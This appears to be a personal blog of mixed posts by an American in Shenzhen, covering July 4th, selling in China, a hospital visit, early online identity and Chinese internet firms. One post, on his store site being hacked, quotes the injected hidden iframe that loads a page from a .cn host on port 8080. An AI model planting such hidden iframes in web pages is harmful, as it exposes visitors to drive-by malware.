Spending my July 4th in China. Last year this time I was visiting USA for about a month. So this will be the first July 4th spent in China for me. Its a bit strange, as I have to remind staff and friends that its even some kind of a holiday! So I decided to write a blog about what it is, and what it represents. Help represent US of A while I’m here in big China!

For Those of Those Who Don’t Know…
Its pretty amazing to think that I am only surrounded by a handful of people who even know what July 4th is!!!! Again, it makes me widen my thought process, and yea, people outside of America really dont know about all of our holidays! Go figure!

Here is a quick excerpt below, but basically its when USA became free from Britain.

::::::::: After various changes to Jefferson’s original draft, a vote was taken late in the afternoon of July 4th. Of the 13 colonies, 9 voted in favor of the Declaration; 2, Pennsylvania and South Carolina voted No; Delaware was undecided and New York abstained.

John Hancock, President of the Continental Congress, was the first to sign the Declaration of Independence. It is said that he signed his name “with a great flourish” so “King George can read that without spectacles!”

The task begun on July 4, the signing of the Declaration of Independence, was not actually completed until August. Nonetheless, the 4th of July has been accepted as the official anniversary of United States independence from Britain. read history of July 4th here :::::::::::::

It also represents a time when most cities have fireworks displays. If you are outside of the cities and suburbs, then you will probably have to shoot them yourself in your big backyard. I did that one 4th of July in Vermont with my cousins. Can be a bit dangerous.

Often you hear stories about kids who lose fingers shooting fireworks on the 4th. Maybe they just say that to scare us from blowing stuff up.

Also, BBQ and camping is common on July 4th. Since it is the middle of the summer in USA, people are usually on family camps by beaches or lakes. There are family gatherings and BBQ (grilling) of steaks, hot dogs, and hamburgers. I also think about the lawn chairs, beers, and music.

Yes. this can be a sensitive topic. But hey, thats why I am picking it as a topic in the first place! And that is - how an original idea in one country may be copied overseas without any financial compensation or even a “thank you” to the founder. I, being born and raised in the USA, always was brought up with the impression ideas are stolen and you have to watch carefully who you show it to, and that overseas, yes, it will quickly get stolen from you and you probably cannot do anything about it.

Being here in China now about 1 and a half years, I have grown perspective on this topic. Put yourself in this situation:

See a product / service you like that is sold overseas. It is not being offered in your country. You don’t speak the language where it is currently being made. You see opportunity of this product / service selling in your home country. Also, the original concept is not exactly how you think it would be best in your home country - the people here would want it differently.

WHAT DO YOU DO?

OK, so you want to do the right thing. You, what? Call a USA phone number, but you cannot speak English that well, and it is pretty expensive to call internationally. Do you consult with a company in your city? Well, they probably would say just do it, they would not say bother contacting this international company (and this is the main problem, no standard international policy on IP!).

but say you do speak good English, and you stay up late one night and make a phone call. OK - a customer service rep picks up the call - “who are you? hmmm, who to transfer you too”. etc etc, I mean, how do you get to the right person?

And then, say you get to the executive team who owns this great product / service in USA. If they even take you seriously, what are they going to say

Feel a bit back to corporate world. What is a person allowed to say online? In an internet company, I think it is funny to show photos of people sleeping at the office (because they are working late that night), cute toys someone has, or jokes within a company.

Doing these FUN things in a company environment:

It has been a bit more strange then expected with certain sales initiative, yes each country and culture is different. I try my best to be flexible and adaptive, but selling in china has been interesting to say the least.

First of all, selling in china is difficult by definition. Chinese people are “tighter” with their money (i.e. don’t spend as easily), but hey, maybe that’s why their currently one of the only world economies with cash, so it was worth it - right? But Chinese are savers, they bargain, they look for deals, they shop around.

They also generally don’t like to pay for services, as its not a tangible product, and secondly, they think why can’t they do it themselves internally? That is always the hard sell anywhere in the world - “why should I pay you to do it when I can do it myself?”. But in China, where there are so many people and therefore many job opportunities, why can’t they hire staff to do it internally.

After you convince them, maybe you are an expert in the field, and that you are qualified to do the service you are selling, the next is, who are you, who do you know. This is to see if you known in the community, are a respectable person to do business with. Also, there are many cheaters who will easily take your money and run. I don’t mean to offend my Chinese friends, but I feel they will agree with me here. Do lots of research before making a purchase, and ask around. Contracts are often done for even what may seem like smaller transactions.

After you convince them on (1) your product/ service is worth buying, and (2) you are not going to cheat them, they also move to (3) price! You almost always have to let your price go a bit lower, even a slight discount from your offer and the customer will feel he/she has gotten something. So be ready to lower your price, you want the customer to feel they’ve won a deal and have a special price.

So, selling in China is about FACE! they want to visit your office, meet your staff, see your operations. they look into what your company name is, how long you’ve been in business. I’ve even seen my company name listed in BBS asking if they know who I am and if anyone else has done business with me before. Very interesting things….and…

You have to adapt to the culture in order to succeed

So these are my ideas and feedback in my experience here in China:

1) Have a clear and solid product. Services are harder to sell in China. The technology market is a bit behind USA and therefore customers here aren’t as educated on the internet. You have to go “back to basics”

2) Have a reputation for yourself. Chinese customers are VERY skeptical (yes, well everyone is, but seems Americans are easiest with their cash). In America, people like helping a startup company because the “american cowboy” (As Bas says), and America is a young country that was founded on entrepreneurs. Seems Europe and Asia are more hesitant to give their money to a small startup. They have to have heard about you in the past and through their circle of friends.

3) Be Ready to Bargain. Everyone, all over the world, loves a deal. But in China it seems almost a requirement. I remember a friend, Huck, mentioning to me he always contacts the seller on Tao Bao (Chinese ebay) before making the purchase. 1 reason is to make sure there is actually a person behind the “curtain”, but the other reason is to bargain on price. And to even get a few rmb (50 us cents) will let him purchase one over the other.

I’m not saying I’m an expert in Selling in China (my experience is still in Infancy!) but I want to share some ideas and get some conversation. I need to learn to speak Chinese (really now can order some food and swear at a taxi driver is about all), then I can really engage. But I love the people here, learning from them, and comparing the differences with my homeland of America.

Some people tell me I should write more focused, industrial topics on this blog. But then….it won’t be my personal blog anymore! I think the theme of this site is clear, its about my pursuit through life. Lately, its been about what i’m involved with now:

Motivation
Business
China
Internet / SEO / Social Media
Travels

The reason people suggest to blog about a specific topic or industry is for the SEO (search engine optimization) It helps websites have a particular niche and then can rank high in the search engines for that topic or theme.

my theme is not to be a theme! this is a personal travel blog, about my experiences, opinions, etc to share with those who care to read.

MOTIVATION is another theme of this blog, I really hope to motivate others to follow their passion and follow their dreams. Not to sit back and wait for the opportunity to come to them, but instead to stick their neck out and do it! And not be afraid to “fail”, because the biggest failure is the failure to act!

So, there you have it….hope you will enjoy the future posts. The other sites and blogs I have will be more themed and indexed, but I want this one to be more free and fun!

Spent a few hours today with my trustee assistant Melissa Zhu at the local Nanshan Public Hospital, here in Shenzhen, China. Besides a blood test / drug test for my passport z-visa, this was my first time at a public hospital for a regular checkup. So let me note my experience, it wasn’t as scary as I could have imagined (hate hospitals regardless, but when you cannot communicate, its even scarier!) I will compare to what I know of in a US hospital.

I wanted to go during lunch today, but Melissa told me the hospital is closed for lunch - from 12 noon to 2pm! She didn’t think this was strange, but I know in US the hospital is always open. I didn’t setup an appointment, didn’t seem normal or necessary. about a 10 minute taxi from the office, we arrived maybe 2:15pm.

First, I needed to buy a health record book (picture below), that cos 7.5 rmb (approx $1.20usd), this book could be used at any hospital in Shenzhen city, but you needed to buy it to see a doctor and it would be your record of health in the city. After waiting in line and paying there, we went to a certain floor for the department of doctors we wanted to see.

15 people ahead of us! But it was only maybe 20 minutes in the waiting room. A bit of a fight when I went into the room, as a woman claimed she was ahead of me in line and waited longer. But we got in after a few minutes. Did some checkups, HAD TO PAY at a cashier in order to see my results! Paid cash, waited in line. Then got the results (healthy, phew!), and then had some medicine to pickup downstairs.

Throughout the hospital there were workers pushing around barrels of burning wood, and Melissa said this was to prevent spreading of the swine flu and other airborne virus. Bit hard to swallow the air, but along we went.

The pharmacy was built into the hospital, and we paid in cash, received the pills, it was rather seamless and direct.

So overall, my experience in the shenzhen, china hospital was 1 hour, quick, easy, and CHEAP. I paid about 120 rmb ($16usd) for checkup, booklet, taxi, and medicine. Again, I hate comparing, but it made me realize how messed up the US healthcare system is…..

I’m trying to remember my first email address….. yomagic@juno.com and then there was netplx.net . The dial up modem to connect to junos email server and download the mail, half of which was sponsored advertisements. I am thinking that was 1995, when I was starting high school.

Then there was everyone scared of putting their name on the internet, we all had “handles”. I would dial up a BBS network and sign in, my favorite was “diehard” when I logged into a network. Then there were the times we’d get on a BBS network and want to joke around, we’d make up a fake name and joke around on the chat or bulliten board, have the moderator (at their home network) kick us off.

And then everyone was afraid to reveal themselves online - i’m not sure the exact reason, but my friends and I feld we’d get hacked, or our privacy stolen, or someone finding out bad information about ourselves.

I started to separate myself and made my own domain in 2000, michaelmichelini.com when I was in university, and my brothers in the fraternity Delta Tau Delta for putting my name and face on the internet. I was working at Kozmo.com at the time and everyone was buying their name .com to hold it from others registering it….I had it hosted on my university server, attila.stevens.edu and you can check it out on the wayback machine and it was hosted on http://attila.stevens-tech.edu/~mmicheli

But then I didnt pay for hosting, or maybe the guys at my frat got me down enough to actually not renew the hosting, and I let the domain expire. few years later myspace.com and I registered it under my WEBSITE at the time, pimpguide.com! I never thought I would put my name online. That someone would find me and come after me, I don’t know the reasoning, but it seemed everyeon else was also as scared as me. It was not normal to put your face to your business they seemed like 2 different things). My myspace profile was made to promote my website, and i didnt connect my personal information to it (well not right away

But then I realized, what am I hiding? on myspace I started to put information about mmyself, what I do, the websites and business I have. I remember being up late on night in New York City maybe 2005 spring, adding my photos and my educational information.

I STARTED CONNECTING MY business and my personal. I would promote nightclubs in new york ctiy, I would push traffic to my site, I would put my name behind my business.

And then comes facebook, and friendster, and so many others. and posting your links, and promoting your causes, your politics, and SHARING YOUR PERSONAL VIEWS to everyone who cared to read.

Facebook, while it is slowly opening up, was a bit more closed. My friends felt more comfortable using this instead of myspace, because they could control who saw their profile, and felt it was within their own friend network. But now, it seems facebook, with the vanity urls, will become more open and more internet wide.

Again, it seems like people now cannot hide online and need to embrace it instead of resist it.

Ouch, what a way to end a week. Late last night talking to Andrew at New York Bar Store and then he tells me about a phone call he got from a customer saying there was some spam on our site, newyorkbarstore.com. Then I take a look, view source, and a HIDDEN iframe inserted on the footer of the majority of the pages in the site! WTF!!!
=============================
HACK CODE BELOW
iframe src http://greatshopfilm . cn:8080/index.php width=184 height=158 style=”visibility: hidden” iframe
============================

I quickly start to re-upload a backup of the site I have in my computer, as it was before this hacker code was inserted on the page. Then I see its FLAGGED ON google results. Luckily the rankings have not been affected, but as you can see below - THERE IS A WARNING on the top of the page that my site may be have harmful viruses! I can only imagine that this is going to do to my site traffic…..

I have fixed the problem, and resubmitted to Google Webmaster tools, lets see how long this takes to be removed from the google results…I’m told from 1 friend this happened to him before, and it took 2 - 3 days!

Also, I’m doing a virus scan on my computer right now, and it found a trojan virus in my TENCENT QQ instant messenger files. Must have been downloaded in a chatlog. This business of hacking has been picking up, I’ve been hearing and reading that blackhat SEO people are hacking sites, pumping them with malicious codes to benefit themselves (not exactly sure though)

Is this in response to the tough economy, and people finding ways to earn cash the evil way….sad….

I also hope none of my website visitors on newyorkbarstore.com were affected. The internet can be a scary place. I understand google and the search engines have to protect their users, its just horrible this scumbags can hack my site and place this malicious code there.

Keep on.

bit of insanity, reading on twitter that approximately 500,000 usernames have been reserved on facebook now. BEFORE their 12 midnight release they had announced.

Many of my friends and facebook users are SLEEPING NOW. And they were under the impression midnight on Saturday… Guess i’m lucky to be checking during my chinese timezone daytime. and got my username facebook.com/michelini

Another interesting trend I saw on twitter is that, slowly, Facebook is seeing the tactics twitter has been using.

First - facebook copies the “status updates” (what are you diong) concept from twitter.

Now - facebook copies the “username” tactic twitter has.

The main difference I see with the two still is. FACEBOOK IS FOR REAL FRIENDS, you know in life, while Twitter is for those who want to meet new people, and can read anything others post. So Twitter is more open and sharing, while Facebook is more exclusive and friends only.

But yea, Facebook did try to buy Twitter last year, but it was an all stock deal, so Twitter didn’t bite. now, it seems it will just slowly mimic and copy the twitter model. but how much can i copy and mirror, without losing too much of its original focus and own business model - a place for friends (friends YOU KNOW!)

I had a coffee break with my new friend Guang Yao (english name is Tristan), who is an avid social media guy, loving twitter, blogs, and other social online stuff. Here are some notes of what I got from our discussion this evening:

There is a coffee shop in Hangzhou city, China called “Beta Cafe” that is founded by some Alibaba Group execs. It has not spent any money on advertising, all of its customers come from word of mouth and SOCIAL MEDIA - blogs, social networks, etc - AND IS doing really well, as a token of chinese internet success and social networking.

We then talked about US internet, of course the google, ebay, amazon, twitter, and some other smaller sites. I’m not gonna bother writing about that, as this is an ENGLISH blog (haha) and you guys all know about this, and there’s tons of ENGLISH (amazing….) blogs talking about ENGLISH seo and internet marketing. Lets talk about these top chinese sites for those of you who don’t know:

I’m sure you may have heard, but if not, Alibaba Group is a major internet company in China, traded on the Hong Kong stock exchange (1688.hk. They own a portfolio of companies in ecommerce, listed below:

a) Alibaba International - this is the flagship site, which started as a bulliten board by Jack Ma in 1999 for manufacturers to post their products. It turned into a huge directory where factories and trading companies all over the world (well, mainly in China, but then again, theres most of the manufacturing these days) could promote their products to wholesalers, importers, and buyers.

b) Alibaba Domestic - in Chinese for chinese b2b transactions. Factories and Trading companies can sell to other chinese companies.

c) Tao Bao (www.taobao.com) - The Chinese ebay. Well, yea EBay tried to enter the chinese market a few years ago, and Tao Bao kicked its a$$! Tao Bao is free for both buyers and sellers though, so that may be a reason its such a dominent player. But Chinese love this site, and I would say is where 90% of chinese e-commerce is done. They also have an “amazon” fulfillment type system they’re working on, that will connect factories to buyers directly - with tao bao as the platform to “drop ship” direct to consumer (not taking on any inventory though)

d) Alipay - e-payment system. Basically the Chinese Paypal. 99% of the market share.

e) Alisoft - mainly a CRM system, it is cross promoted to its other channels in Alibaba and Tao Bao - and is how Alibaba attempts monetizes these other products, as they do not charge for usage on tao bao, nor do they charge much on alibaba china.

f) Alimama - an advertising platform, like google adwords and adsense. also another way it monetizes tao bao, with banner advertisements and the like.

Next we have Baidu , which is traded on the US NasDaq stock market (BIDU) is the dominant search engine in China, with approximately 75% market share of the search market here. Google China is trying to penetrate the market with maybe the 25% remaining market share, but Baidu still seems to dominate by a wide margin. They have the same business model as Google, selling sponsored advertisements, except they also have some advertisement IN THE ORGANIC results, not just on the left and the top. In addition to their flagship search engine, they also have:

payment system, shopping portal, and a new instant messaging tool. But there clear moneymaker is the baidu search engine.

Tencent, or more commonly known as QQ is a hugely successful Instant Messaging (IM) platform started and still based in the same city I live in now, Shenzhen. A private company (from as far as I can tell) this company makes the most profit of the 3, almost printing money.

Instant Messaging - A IM system like skype or MSN, with voice and video chat like those, But one cool feature I like is YOU’RE NAKED. Yea, you have a virtual “you” that is either a girl or a boy. You can then BUY clothing for your virtual person, picking shirts, pants, shoes, and accessories.

ONLINE GAMES make up 30% of its revenue, as the Chinese market loves to play online games, and Tencent’s games are really popular.

Pai Pai - C2C shopping site, a pretty much copy of tao bao.

Ten Pay - another alipay / paypal e-payment solution.

Other sites in china are more media (yahoo news) sites, that are also emerging with more products:
Sina.com
Sohu.com
163.com

What really amazes me, and was pointed out by the others tonight, is THEY ALL COPY EACH OTHER. And everyone has a product for every major internet function, payment, shopping, chat, etc. We discussed how its harder to copy in the USA because of trademarks and copyrights. But its sad to see in China. My friends tonight are almost afraid to share their ideas. here is why

THERE ARE REPRESENTATIVES From these above MAJOR Chinese internet companies building 100s of products in their R&D departments. they will attend events, work in social media sites, and then report back to their companies the ideas - AND COPY THEM.

So how can a young entrepreneur start his internet company? his ideas are stolen before he can even develop them…by huge multimillion dollar companies. Its sad. Its amazing, and it makes you wonder how innovation can continue.